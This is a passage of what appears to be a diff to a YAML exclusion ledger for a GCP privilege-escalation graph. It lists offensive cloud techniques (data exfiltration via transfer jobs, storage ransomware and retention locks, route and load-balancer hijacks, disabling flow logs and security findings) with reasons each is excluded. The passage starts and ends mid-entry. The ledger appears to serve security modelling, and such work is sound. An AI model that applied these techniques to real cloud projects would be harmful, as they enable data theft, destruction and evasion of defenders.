src/pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-tasks-persistence.md#queue-urioverride---passive-capture-of-every-task-the-application-enqueues + technique: Queue uriOverride passive capture of application tasks + reason: Documented as payload/header exfiltration with no token override; capture of per-task OAuth tokens attached by enqueuers is not documented (privesc-page + twin also excluded). +- source: src/pentesting-cloud/gcp-security/gcp-persistence/gcp-iam-persistence.md#iamserviceaccountsundelete---reactivate-a-deleted-privileged-identity + technique: Undelete a deleted privileged service account + reason: Restores residual bindings of a deleted SA but yields no credential; needs a separate existing path to act as the SA, and deleted SAs are not in the collected + inventory. +- source: src/pentesting-cloud/gcp-security/gcp-cross-project-attacks/historical-cross-project-vulnerabilities.md#service-account-impersonation-and-confused-deputy-privesc + technique: Historical confused-deputy vulnerabilities (ConfusedFunction, Bad.Build, ConfusedComposer, ...) + reason: Patched historical vulnerabilities; the still-valid variants are modelled by gcp-cloudbuild-builds-create-default-identity, gcp-composer-environments-update, + gcp-vertex-customjob-custom-code-agent and gcp-configcontroller-kcc-resource-write. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-migration-center-enum.md#interesting-permissions-write--rolesmigrationcenteradmin-basic-editorowner + technique: Migration Center discovery client bound to a service account + reason: Page labels it only a potential actAs-gated angle; the discovery client is an on-premises collector and no credential/code-exec path as the SA is documented. +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-api-gateway-enum.md#relevant-permissions + technique: API Gateway backend-auth SA (enumeration page) + reason: OIDC ID token only (see the API Gateway post-exploitation exclusion). +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md#cloudbuildyml + technique: Poison a Cloud Build trigger from an external pull request or upstream repository + reason: 'REJECTED as a privesc edge (ledgers/privesc-gcp.md NS-5): CSPM check (external SCM contributor, no principal source) - the attacker is an outside contributor, + not a principal in the snapshot, and Cloud Build triggers (pullRequest.commentControl, approvalConfig) are not collected.' +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md#pr-approvals + technique: Poison a Cloud Build trigger from an external pull request or upstream repository + reason: 'REJECTED as a privesc edge (ledgers/privesc-gcp.md NS-5): CSPM check (external SCM contributor, no principal source) - the attacker is an outside contributor, + not a principal in the snapshot, and Cloud Build triggers (pullRequest.commentControl, approvalConfig) are not collected.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-build-enum.md#sa-permissions + technique: Poison a Cloud Build trigger from an external pull request or upstream repository + reason: 'REJECTED as a privesc edge (ledgers/privesc-gcp.md NS-5): CSPM check (external SCM contributor, no principal source) - the attacker is an outside contributor, + not a principal in the snapshot, and Cloud Build triggers (pullRequest.commentControl, approvalConfig) are not collected.' +- source: src/pentesting-cloud/gcp-security/gcp-services/gcp-cloud-build-enum.md#pr-approvals + technique: Poison a Cloud Build trigger from an external pull request or upstream repository + reason: 'REJECTED as a privesc edge (ledgers/privesc-gcp.md NS-5): CSPM check (external SCM contributor, no principal source) - the attacker is an outside contributor, + not a principal in the snapshot, and Cloud Build triggers (pullRequest.commentControl, approvalConfig) are not collected.' +- source: src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-source-repositories-unauthenticated-enum.md#compromise-external-repository + technique: Poison a Cloud Build trigger from an external pull request or upstream repository + reason: 'REJECTED as a privesc edge (ledgers/privesc-gcp.md NS-5): CSPM check (external SCM contributor, no principal source) - the attacker is an outside contributor, + not a principal in the snapshot, and Cloud Build triggers (pullRequest.commentControl, approvalConfig) are not collected.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-tasks-post-exploitation.md#cloudtasksqueuesupdate---retryrate-tampering-and-stealth-traffic-capture + technique: Queue retry/rate tampering and uriOverride traffic capture + reason: DoS plus payload capture; attaching a token SA at queue level needs actAs (re-enforced at enqueue), OIDC tokens are audience-bound; see the privesc-page + uriOverride exclusion. +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#build-time-code-execution-as-the-build-service-account-via---source + technique: Build-time code execution as the build SA via run deploy --source + reason: 'Duplicate of existing edges: the documented minimum (run.services/jobs create or update + actAs on the build SA) equals gcp-run-services-create-actas / + gcp-run-services-update-actas / gcp-run-jobs-create-run-actas / gcp-run-jobs-update-run-actas, which already reach every SA the source can actAs; the Cloud Build + submission and the no-actAs legacy/default builder are modelled by gcp-cloudbuild-builds-create-custom-sa-actas and gcp-cloudbuild-builds-create-default-identity.' +- source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-datastream-privesc.md#differences-from-dms-and-negative-results + technique: Datastream private connection reachability, profile metadata reads, vestigial resource IAM + reason: privateConnections.create only gives the Datastream service agent network reachability (VPC peering / PSC interface) for data copy-out; GET leaks non-secret + metadata; resource setIamPolicy endpoints return 404. No identity gain (data access / recon). +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-support-post-exploitation.md#cloudsupporttechcaseslist--get--mine-support-cases-and-incident-artifacts + technique: cloudsupport.techCases.list / .get — mine support cases and incident artifacts + reason: 'No configuration-derived second identity: support case data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-document-ai-post-exploitation.md#documentaidatasetslistdocuments--documentaidatasetsgetdocuments---extract-stored-dataset-documents + technique: documentai.datasets.listDocuments + documentai.datasets.getDocuments - extract stored dataset documents + reason: 'No configuration-derived second identity: document data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-document-ai-post-exploitation.md#documentaiprocessorversionscreate---copy-a-trusted-source-processor-version-cross-project + technique: documentai.processorVersions.create - copy a trusted source processor version cross-project + reason: 'No configuration-derived second identity: model copy via standing trust.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-recommender-post-exploitation.md#recommenderrecommendationsupdate--insightsupdate--suppress-or-freeze-findings + technique: recommender.*Recommendations.update / *Insights.update — suppress or freeze findings + reason: logging/defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-transfer-post-exploitation.md#storagetransferjobsupdate--run--repoint-an-authorized-job + technique: storagetransfer.jobs.update + run — repoint an authorized job + reason: data exfil via transfer agent; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-transfer-post-exploitation.md#storagetransferjobscreate--run--copy-agent-readable-data-to-an-attacker-sink + technique: storagetransfer.jobs.create + run — copy agent-readable data to an attacker sink + reason: data exfil via transfer agent; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-command-center-post-exploitation.md#create-or-change-a-mute-rule + technique: Create or change a mute rule + reason: logging/defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-command-center-post-exploitation.md#delete-or-alter-a-pubsub-notification-configuration + technique: Delete or alter a Pub/Sub notification configuration + reason: logging/defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-command-center-post-exploitation.md#delete-or-alter-a-bigquery-continuous-export + technique: Delete or alter a BigQuery continuous export + reason: logging/defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-command-center-post-exploitation.md#delete-an-etd-or-sha-custom-module + technique: Delete an ETD or SHA custom module + reason: logging/defense evasion; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-eventarc-post-exploitation.md#eventarctriggersupdate--redirect-an-existing-standard-event-stream + technique: eventarc.triggers.update — redirect an existing Standard event stream + reason: Copies or redirects future event payloads; an OAuth-authenticated pipeline is covered on the Eventarc privesc page, while changing the token SA requires + actAs. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-eventarc-post-exploitation.md#eventarcenrollmentsupdate--redirect-or-broaden-an-advanced-bus-subscription + technique: eventarc.enrollments.update — redirect or broaden an Advanced bus subscription + reason: Copies or redirects future event payloads; an OAuth-authenticated pipeline is covered on the Eventarc privesc page, while changing the token SA requires + actAs. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-eventarc-post-exploitation.md#eventarctriggerscreate--copy-future-event-payloads-to-an-attacker-controlled-destination + technique: eventarc.triggers.create — copy future event payloads to an attacker-controlled destination + reason: Copies or redirects future event payloads; an OAuth-authenticated pipeline is covered on the Eventarc privesc page, while changing the token SA requires + actAs. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-eventarc-post-exploitation.md#eventarcmessagebusespublish--channelspublish--channelconnectionspublish--inject-attacker-chosen-events + technique: eventarc.messageBuses.publish / channels.publish / channelConnections.publish — inject attacker-chosen events + reason: Event injection can activate a handler, but obtaining its identity requires application-specific behavior or another configured pipeline path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-data-fusion-post-exploitation.md#datafusionsecurekeysgetsecret--read-a-namespace-secure-store-value + technique: datafusion.secureKeys.getSecret — read a namespace secure-store value + reason: 'No configuration-derived second identity: stored secret read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-transcoder-post-exploitation.md#transcoderjobscreate--re-host-media-readable-by-the-service-agent + technique: transcoder.jobs.create — re-host media readable by the service agent + reason: media exfil via service agent; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vm-migration-post-exploitation.md#vmmigrationmigratingvmscreate--vmmigrationmigratingvmsupdate--migrate-an-aws-unattached-volume + technique: vmmigration.migratingVms.create + vmmigration.migratingVms.update — migrate an AWS unattached volume + reason: disk data exfil; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vm-migration-post-exploitation.md#vmmigrationimageimportscreate--make-the-service-agent-read-a-disk-image-from-cloud-storage + technique: vmmigration.imageImports.create — make the service agent read a disk image from Cloud Storage + reason: disk image read via agent; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vm-migration-post-exploitation.md#vmmigrationclonejobscreate--materialize-a-replicated-vm-and-read-its-snapshot + technique: vmmigration.cloneJobs.create — materialize a replicated VM and read its snapshot + reason: Replica disk access is data export. Execution as the configured VM SA is already gcp-vmmigration-migratingvm-metadata-clone (requires update + clone). +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-runtimeconfig-post-exploitation.md#runtimeconfigvariablesget--list--recover-stored-variable-values + technique: runtimeconfig.variables.get (+ .list) — recover stored variable values + reason: config/secret read; no configuration-derived target principal or execution path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-personalized-service-health-post-exploitation.md#servicehealtheventslist--infer-productlocation-usage-and-monitor-defensive-outages + technique: servicehealth.events.list — infer product/location usage and monitor defensive outages + reason: recon; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-parameter-manager-post-exploitation.md#parameterversionsrender--read-secret-manager-secrets-you-dont-have-access-to + technique: parameterVersions.render — read Secret Manager secrets you don't have access to + reason: Returns secret values through a parameter identity; the payload is arbitrary data, so no configuration-derived target identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-developer-connect-post-exploitation.md#developerconnectusersfetchaccesstoken---recover-the-callers-own-linked-oauth-token + technique: developerconnect.users.fetchAccessToken - recover the caller's own linked OAuth token + reason: Returns only the caller's linked provider OAuth token; no other user can be selected. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-developer-connect-post-exploitation.md#developerconnectgitrepositorylinksfetchreadtoken---export-a-linked-repository-read-credential + technique: developerconnect.gitRepositoryLinks.fetchReadToken - export a linked repository read credential + reason: 'No configuration-derived second identity: repo read credential.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-developer-connect-post-exploitation.md#developerconnectgitrepositorylinksfetchreadwritetoken---export-a-provider-write-credential + technique: developerconnect.gitRepositoryLinks.fetchReadWriteToken - export a provider write credential + reason: duplicate; gcp-developerconnect-readwrite-token-pipeline-poison (token or Git proxy alternative, linked repository and automatic privileged consumer required). +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-tasks-post-exploitation.md#cloudtaskstasksget--cloudtaskstaskslist--cloudtaskstasksfullview---harvest-secrets-from-queued-work + technique: cloudtasks.tasks.get | cloudtasks.tasks.list (+ cloudtasks.tasks.fullView) - harvest secrets from queued work + reason: 'No configuration-derived second identity: secret read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-tasks-post-exploitation.md#cloudtaskstasksrun---replay-queued-work-on-demand + technique: cloudtasks.tasks.run - replay queued work on demand + reason: Runtime-only task URL and task body determine whether a replayed token reaches an attacker; run alone returns no token and cannot edit the task. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-tasks-post-exploitation.md#cloudtaskstasksdelete---selectively-or-batch-delete-queued-work + technique: cloudtasks.tasks.delete - selectively or batch-delete queued work + reason: 'No configuration-derived second identity: DoS.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-tasks-post-exploitation.md#cloudtasksqueuespurge--pause--delete---destroy-or-stall-queued-business-work + technique: cloudtasks.queues.purge / .pause / .delete - destroy or stall queued business work + reason: 'No configuration-derived second identity: DoS.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vpc-network-post-exploitation.md#networkconnectivitypolicybasedroutescreate--steer-matching-traffic-to-an-attacker-controlled-next-hop + technique: networkconnectivity.policyBasedRoutes.create — steer matching traffic to an attacker-controlled next hop + reason: traffic redirection; reachability or interception alone needs a separate credential or vulnerable service. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vpc-network-post-exploitation.md#networkconnectivityinternalrangescreate--vpc-ipam-squat--subnet-allocation-dos + technique: networkconnectivity.internalRanges.create — VPC IPAM squat / subnet-allocation DoS + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-container-analysis-post-exploitation.md#containeranalysisoccurrenceslist--get--recover-software-supply-chain-metadata + technique: containeranalysis.occurrences.list / .get — recover software-supply-chain metadata + reason: 'No configuration-derived second identity: supply-chain metadata read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-container-analysis-post-exploitation.md#occurrencescreate--notesattachoccurrence--a-registered-signing-key--authorize-a-chosen-digest + technique: occurrences.create + notes.attachOccurrence + a registered signing key — authorize a chosen digest + reason: 'No configuration-derived second identity: admission bypass only; deploy separate.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dialogflow-post-exploitation.md#dialogflowwebhooksupdate--redirect-retained-external-authentication-material + technique: dialogflow.webhooks.update — redirect retained external authentication material + reason: Retained third-party authentication only; Google SA OAuth redirect is rejected without actAs and captured ID tokens are audience-bound. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsrestore + technique: storage.buckets.restore + reason: bucket recovery/destination re-establish; no configuration-derived identity gain is documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#signed-urls--credential-free-exfil--covert-write-iamserviceaccountssignblob + technique: Signed URLs — credential-free exfil & covert write (iam.serviceAccounts.signBlob) + reason: Duplicate of gcp-iam-serviceaccounts-signblob. That entry already models SA signing authority; Storage URL use adds no permission alternative. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storageobjectsdelete + technique: storage.objects.delete + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsdelete-storageobjectsdelete--storageobjectslist + technique: storage.buckets.delete, storage.objects.delete & storage.objects.list + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsupdate--irreversible-retention-lock-denial--ransomware--anti-forensics + technique: storage.buckets.update — irreversible retention lock (denial / ransomware / anti-forensics) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebatchoperationsjobscreate--serverless-bulk-delete--re-encrypt--hold-strip-mass-dos--ransomware + technique: storagebatchoperations.jobs.create — serverless bulk delete / re-encrypt / hold-strip (mass DoS & ransomware) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketssetipfilter--storagebucketsupdate + technique: storage.buckets.setIpFilter & storage.buckets.update + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsupdate--default-cmek-repoint-ransom-of-future-writes + technique: storage.buckets.update — default-CMEK repoint (ransom of future writes) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storageobjectssetretention--object-holds--per-object-un-deletable-lock + technique: storage.objects.setRetention / object holds — per-object un-deletable lock + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsupdate--disable-soft-delete--versioning-anti-forensics-multiplier + technique: storage.buckets.update — disable soft-delete & versioning (anti-forensics multiplier) + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md#storagebucketsupdate--lifecycle-rule-as-deferred-deniable-mass-deletion + technique: storage.buckets.update — lifecycle rule as deferred, deniable mass-deletion + reason: DoS/destruction; changes availability or detection, not another principal's privileges. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compliance-manager-post-exploitation.md#cloudsecuritycomplianceframeworkdeploymentsdelete--cloudcontroldeploymentsdelete--update--tear-down-or-weaken-enforced-controls + technique: cloudsecuritycompliance.frameworkDeployments.delete / cloudControlDeployments.delete / .update — tear down or weaken enforced cont + reason: 'No configuration-derived second identity: security control teardown.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-deployment-manager-post-exploitation.md#deploymentmanagermanifestsget--discovery-permissions--recover-configuration-and-unredacted-credentials + technique: deploymentmanager.manifests.get (+ discovery permissions) — recover configuration and unredacted credentials + reason: 'No configuration-derived second identity: manifest secret read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md#dlpdeidentifytemplatesget--reuse-a-reversible-template-to-reverse-tokens + technique: dlp.deidentifyTemplates.get — reuse a reversible template to reverse tokens + reason: 'No configuration-derived second identity: data re-identification.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md#dlpjobscreate--read-through-the-dlp-service-agent-and-export-quoted-findings + technique: dlp.jobs.create — read through the DLP service agent and export quoted findings + reason: 'No configuration-derived second identity: service-agent confused-deputy data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md#dlpcontentpoliciesupdate--turn-gemini-enterprise-sensitive-content-gates-into-allow-rules + technique: dlp.contentPolicies.update — turn Gemini Enterprise sensitive-content gates into allow rules + reason: 'No configuration-derived second identity: security control bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md#dlpdeidentifytemplatesupdate--make-a-shared-transform-pass-sensitive-values-through + technique: dlp.deidentifyTemplates.update — make a shared transform pass sensitive values through + reason: 'No configuration-derived second identity: data masking bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dlp-post-exploitation.md#dlpinspecttemplatesupdate--blind-template-driven-inspection + technique: dlp.inspectTemplates.update — blind template-driven inspection + reason: 'No configuration-derived second identity: detection evasion.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md#workflowsworkflowsget--recover-workflow-source-and-its-execution-identity + technique: workflows.workflows.get — recover workflow source and its execution identity + reason: source/secret read, SA recon; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-discovery-engine-post-exploitation.md#discoveryengineservingconfigssearch--read-a-periodic-bigquery-copy-whose-imported-acls-are-not-enforced + technique: discoveryengine.servingConfigs.search — Read a Periodic BigQuery Copy Whose Imported ACLs Are Not Enforced + reason: 'No configuration-derived second identity: indexed data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-discovery-engine-post-exploitation.md#data-plane-read--search--grounded-answers-leak-indexed-content-rolesdiscoveryengineviewer + technique: Data-plane read — search & grounded answers leak indexed content (roles/discoveryengine.viewer) + reason: 'No configuration-derived second identity: indexed data read.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secure-source-manager-post-exploitation.md#repositoriesfetch--read-apis--harvest-private-source-and-unmerged-review-intelligence + technique: repositories.fetch + read APIs — harvest private source and unmerged review intelligence + reason: source code read; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-web-security-scanner-post-exploitation.md#create-and-run-a-custom-scan-to-map-a-projects-public-application + technique: Create and run a custom scan to map a project's public application + reason: app vulnerability recon; reveals targets or data but grants no identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeinstancesgetguestattributes--read-guest-attributes-ssh-host-keys--bootstrap-secrets-without-ssh + technique: compute.instances.getGuestAttributes — read guest attributes (SSH host keys / bootstrap secrets) without SSH + reason: Reads stored or guest-produced values; a useful credential is contingent on runtime content. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#read-serial-console-output---computeinstancesgetserialportoutput + technique: Read serial-console output - compute.instances.getSerialPortOutput + reason: Reads stored or guest-produced values; a useful credential is contingent on runtime content. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computesnapshotssetiampolicy--computeimagessetiampolicy--resource-level-exfil-share + technique: compute.snapshots.setIamPolicy / compute.images.setIamPolicy — resource-level exfil share + reason: Offline filesystem/data access or resource sharing; any credential found is runtime data, not a configuration-derived identity. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computepacketmirroringscreate--traffic-interception-by-passive-packet-mirroring + technique: compute.packetMirrorings.create — traffic interception by passive packet mirroring + reason: 'No configuration-derived second identity: traffic interception.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeroutescreate--next-hop-instance-route-hijack-active-in-path-mitm + technique: compute.routes.create — next-hop-instance route hijack (active in-path MITM) + reason: 'No configuration-derived second identity: network MITM.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeroutersupdate--bgp-advertised-route-tampering-dynamic-route-hijack--blackhole + technique: compute.routers.update — BGP advertised-route tampering (dynamic-route hijack / blackhole) + reason: 'No configuration-derived second identity: network hijack/DoS.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeurlmapsupdate--load-balancer-backend-hijack + technique: compute.urlMaps.update — load-balancer backend hijack + reason: 'No configuration-derived second identity: traffic redirection.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computebackendbucketsupdate--computebackendservicesupdate--cloud-cdn-cache-poisoning--response-tamper + technique: compute.backendBuckets.update / compute.backendServices.update — Cloud CDN cache poisoning & response tamper + reason: 'No configuration-derived second identity: response tampering.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computebackendbucketsaddsignedurlkey--computebackendservicesaddsignedurlkey--inject-a-cloud-cdn-signed-urlcookie-signing-key-access-control-bypass + technique: compute.backendBuckets.addSignedUrlKey / compute.backendServices.addSignedUrlKey — inject a Cloud CDN signed-URL/cookie signing ke + reason: 'No configuration-derived second identity: CDN content access bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeinstancesaddaccessconfig--expose-an-internal---no-address-vm-to-the-internet + technique: compute.instances.addAccessConfig — expose an internal (--no-address) VM to the internet + reason: 'No configuration-derived second identity: network exposure.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computerouterscreate--computeroutersupdate--cloud-nat-outbound-egress-for-isolated-vms-stealthy-exfil--c2 + technique: compute.routers.create + compute.routers.update — Cloud NAT outbound egress for isolated VMs (stealthy exfil / C2) + reason: 'No configuration-derived second identity: network egress.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeroutersupdate--private-nat-trusted-source-impersonation-ncchybrid-allowlist-bypass + technique: compute.routers.update — Private NAT trusted-source impersonation (NCC/hybrid allowlist bypass) + reason: 'No configuration-derived second identity: network allowlist bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeinstancesupdatenetworkinterface--claim-unused-alias-ips-in-a-trusted-secondary-range + technique: compute.instances.updateNetworkInterface — claim unused alias IPs in a trusted secondary range + reason: 'No configuration-derived second identity: network allowlist bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeinstancessetmetadata--computeprojectssetcommoninstancemetadata--interactive-serial-console-access-firewall--iap-bypass + technique: compute.instances.setMetadata / compute.projects.setCommonInstanceMetadata — interactive serial-console access (firewall / IAP byp + reason: Gateway reachability needs a separate guest login and actAs for an attached SA; metadata-write identity paths are covered by gcp-compute-instances-setmetadata-existing-vm + and gcp-compute-projects-setcommoninstancemetadata. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeinstancesupdateshieldedinstanceconfig--disable-secure-boot--integrity-monitoring-anti-forensics + technique: compute.instances.updateShieldedInstanceConfig — disable Secure Boot / Integrity Monitoring (anti-forensics) + reason: 'No configuration-derived second identity: anti-forensics.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computesecuritypoliciesupdate--cloud-armor-wafdeny-bypass + technique: compute.securityPolicies.update — Cloud Armor WAF/deny bypass + reason: 'No configuration-derived second identity: WAF bypass.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computesubnetworksupdate--disable-vpc-flow-logs-anti-forensics + technique: compute.subnetworks.update — disable VPC Flow Logs (anti-forensics) + reason: 'No configuration-derived second identity: telemetry tampering.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#networkmanagementvpcflowlogsconfigsdelete--update--disable-central-vpc-flow-logs-anti-forensics-separate-api + technique: networkmanagement.vpcflowlogsconfigs.delete / .update — disable *central* VPC Flow Logs (anti-forensics, separate API) + reason: 'No configuration-derived second identity: telemetry tampering.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md#computeroutersupdate--disable-cloud-nat-logging-egress-monitoring-blind-spot + technique: compute.routers.update — disable Cloud NAT logging (egress-monitoring blind spot) + reason: 'No configuration-derived second identity: telemetry tampering.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-service-directory-post-exploitation.md#servicedirectoryendpointscreateupdate--poison-service-discovery + technique: servicedirectory.endpoints.create/update — poison service discovery + reason: service-discovery traffic redirection; reachability or interception alone needs a separate credential or vulnerable service. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-datastream-post-exploitation.md#datastreamconnectionprofilesdiscover--live-source-db-schema-recon-read-only-role-reaches-it + technique: datastream.connectionProfiles.discover — live source-DB schema recon (read-only role reaches it) + reason: 'No configuration-derived second identity: recon.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-datastream-post-exploitation.md#datastreamobjectsstartbackfilljob--copy-selected-source-rows-through-an-existing-stream + technique: datastream.objects.startBackfillJob — copy selected source rows through an existing stream + reason: 'No configuration-derived second identity: data copy.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-datastream-post-exploitation.md#datastreamstreamspause--resume--delete--disrupt-or-stop-replication + technique: datastream.streams.pause / .resume / .delete — disrupt or stop replication + reason: 'No configuration-derived second identity: DoS.' +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagerversionsaccess + technique: secretmanager.versions.access + reason: Secret payload may contain a key, but identity and validity are runtime data, not derivable from the secret resource configuration. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagerversionsadd + technique: secretmanager.versions.add + reason: Changes a secret value consumed by an application; no documented deterministic execution-as-SA path. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#secretmanagersecretsupdate + technique: secretmanager.secrets.update + reason: secret lifecycle tampering; no configuration-derived identity gain is documented. +- source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md#version-alias-repointing--secretmanagersecretsupdate-secretmanagersecretsget + technique: Version alias repointing — secretmanager.secrets.update (secretmanager.secrets.get) + reason: Selects a stored secret version; any identity gain depends on its payload and consumer behavior. +- source: 